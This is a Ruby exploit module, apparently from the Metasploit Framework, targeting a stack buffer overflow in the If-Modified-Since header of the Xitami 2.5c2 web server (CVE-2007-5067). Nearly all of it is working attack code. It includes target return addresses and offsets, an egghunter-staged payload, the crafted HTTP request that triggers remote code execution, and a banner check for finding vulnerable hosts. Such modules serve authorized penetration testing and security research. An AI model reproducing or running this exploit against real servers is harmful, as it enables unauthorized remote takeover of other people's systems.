95 lines
2.6 KiB
Ruby
95 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the iMatix Corporation
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Xitami Web Server. If a malicious user sends an If-Modified-Since
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header containing an overly long string, it may be possible to
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execute a payload remotely. Due to size constraints, this module uses
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the Egghunter technique.
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},
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'Author' => 'patrick',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-5067' ],
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[ 'OSVDB', '40594'],
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[ 'OSVDB', '40595'],
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[ 'BID', '25772' ],
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[ 'EDB', '4450' ]
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 700,
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'BadChars' => "\x00\x0a\x0d",
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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# Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
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[ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
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[ 'xitami.exe Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
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],
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'DisclosureDate' => 'Sep 24 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80),
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],self.class)
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end
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def check
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connect
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sock.put("GET / HTTP/1.1\r\n\r\n")
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banner = sock.get(-1,3)
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disconnect
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if (banner =~ /Xitami/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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egg = hunter[1]
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sploit = "GET / HTTP/1.1\r\n"
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sploit << "Host: " + egg + "\r\n"
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sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
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sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']
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sock.put(sploit + "\r\n\r\n")
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print_status("Waiting for payload to execute...")
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handler
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disconnect
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end
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end
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